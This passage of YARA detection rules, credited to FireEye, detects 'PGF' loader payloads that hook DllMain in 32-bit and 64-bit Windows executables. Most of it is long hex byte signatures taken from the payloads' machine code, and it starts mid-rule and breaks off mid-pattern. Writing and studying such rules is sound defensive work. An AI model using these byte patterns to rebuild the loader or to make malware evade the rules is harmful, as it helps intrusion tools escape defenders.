		$cond4 = { 8B FF 55 8B EC 81 EC 3? ?1 ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 E0 56 C7 45 F8 ?? ?? ?? ?? C6 85 D8 FE FF FF ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 D9 FE FF FF 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 F4 ?? ?? ?? ?? C6 45 E7 ?? C7 45 E8 ?? ?? ?? ?? C7 45 EC ?? ?? ?? ?? C7 45 FC ?? ?? ?? ?? C7 45 F? ?? ?? ?? ?0 6A ?? 6A ?? 8D 8D D8 FE FF FF 51 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 F8 6A ?? FF ?? ?? ?? ?? ?? 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 ?? ?? 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF ?? ?? ?? ?? EB ?? 8B 85 D4 FE FF FF 83 C? ?1 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D ?? 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB ?? 8B 55 F8 8B 42 08 89 45 FC 6A ?? 68 ?? ?? ?? ?? 8B 4D FC 51 6A ?? FF ?? ?? ?? ?? ?? 89 45 EC 8B 55 FC 52 8B 45 F8 83 ?? ?? 50 8B 4D EC 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 D0 FE FF FF ?? ?? ?? ?? EB ?? 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 ?? 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE ?? ?? ?? ?? F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB ?? 8B 4D EC 89 4D F0 FF ?? ?? 5E 8B 4D E0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and any of them
}

rule FIREEYE_RT_APT_Loader_Win64_PGF_3 : FILE
{
	meta:
		description = "PGF payload, generated rule based on symfunc/8a2f2236fdfaa3583ab89076025c6269. Identifies dllmain_hook x64 payloads."
		author = "FireEye"
		id = "340ea6d4-7111-520c-9bd4-0465a43ea235"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_3.yar#L4-L18"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "3bb34ebd93b8ab5799f4843e8cc829fa"
		logic_hash = "fd82bdec54a76eed12cc8820ef39899f31ea6df21d905530a0d53770b3d9901b"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 4
	strings:
		$cond1 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 80 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 5A B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 E9 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AC 96 01 00 48 8D 45 AF 48 89 C1 E8 F0 FE 00 00 48 8B 05 25 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6B B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 AA B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 61 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 4F B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 20 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 0E C8 05 00 48 8B 05 69 8A 06 00 FF D0 48 8D 15 0A C8 05 00 48 89 C1 48 8B 05 5E 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 19 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 01 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 E0 F9 FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 87 F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CB 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 37 FC 00 00 48 89 D8 48 89 C1 E8 4C AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9A 9C 01 00 48 89 D8 48 89 C1 E8 2F AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
		$cond2 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8D 85 ?? ?? ?? ?? 41 B8 04 01 00 00 48 89 C2 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 89 C2 B9 08 00 00 00 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 38 04 00 00 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? 00 74 ?? 48 8D 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 41 B8 00 00 00 00 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 FF 0F 95 C0 84 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 48 8B 45 ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 45 ?? 48 89 E8 48 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 C7 45 ?? 00 00 00 00 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 39 C2 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 73 ?? 48 8B 45 ?? 48 8B 00 48 8B 55 ?? 48 81 C2 00 10 00 00 48 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 8B 4D ?? 48 8B 55 ?? 48 01 CA 48 39 D0 0F 83 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 8B 45 ?? 48 8B 00 48 8D 95 ?? ?? ?? ?? 41 B8 30 00 00 00 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 48 8B 45 ?? 48 8B 00 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 00 00 00 00 EB ?? 90 EB ?? 90 48 83 45 ?? 08 E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 48 63 D0 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 89 C2 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 01 00 00 00 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB 01 EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 28 07 00 00 5B 5D C3 }
		$cond3 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 C1 7C 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 33 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 B2 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 75 96 01 00 48 8D 45 AF 48 89 C1 E8 B9 FE 00 00 48 8B 05 66 7C 06 00 FF D0 89 C2 B9 08 00 00 00 E8 3C B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 83 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 2A F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 28 B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 69 7B 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 11 B9 05 00 48 8B 05 A2 7B 06 00 FF D0 48 8D 15 0D B9 05 00 48 89 C1 48 8B 05 97 7B 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 5A 7B 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 22 7B 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 59 FB FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 00 FB FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 94 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 00 FC 00 00 48 89 D8 48 89 C1 E8 45 AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 63 9C 01 00 48 89 D8 48 89 C1 E8 28 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
		$cond4 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 D3 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 65 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 EC FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AF 96 01 00 48 8D 45 AF 48 89 C1 E8 F3 FE 00 00 48 8B 05 78 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6E B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 B5 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 64 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 5A B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 73 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 45 C8 05 00 48 8B 05 B4 8A 06 00 FF D0 48 8D 15 41 C8 05 00 48 89 C1 48 8B 05 A9 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 6C 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 54 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 33 FA FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 DA F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CE 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 3A FC 00 00 48 89 D8 48 89 C1 E8 4F AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9D 9C 01 00 48 89 D8 48 89 C1 E8 32 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and any of them
}

rule FIREEYE_RT_APT_Loader_Win32_PGF_3 : FILE
{
	meta:
		description = "PGF payload, generated rule based on symfunc/c02594972dbab6d489b46c5dee059e66. Identifies dllmain_hook x86 payloads."
		author = "FireEye"
		id = "adf91482-6e04-5d11-bc00-4b1c7a802c49"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_3.yar#L4-L20"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "4414953fa397a41156f6fa4f9462d207"
		logic_hash = "24d2caad1d740ccbff0cf111a05ecad20ed06f311d530d8de86050d916da32ce"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 4
	strings:
		$cond1 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF 90 EE 01 6D C7 85 30 F9 FF FF 6C FE 01 6D 8D 85 34 F9 FF FF 89 28 BA CC 19 00 6D 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BB A6 00 00 A1 48 A1 05 6D C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B8 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 56 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 DF B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 52 0B 01 00 A1 4C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 51 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 EF AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 82 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 84 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 2C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 0C 40 05 6D A1 5C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 18 40 05 6D 89 04 24 A1 60 A1 05 6D FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 54 A1 05 6D FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 9C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 00 6D 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 00 6D 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 5D BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 48 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A0 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 FD BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 75 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 76 A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
		$cond2 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF B0 EF 3D 6A C7 85 30 F9 FF FF 8C FF 3D 6A 8D 85 34 F9 FF FF 89 28 BA F4 1A 3C 6A 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 B3 A6 00 00 A1 64 A1 41 6A C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B0 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 4E 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 D7 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 4A 0B 01 00 A1 68 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 49 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 E7 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 7A FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 7C AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 62 40 41 6A A1 78 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 6E 40 41 6A 89 04 24 A1 7C A1 41 6A FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 41 6A FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 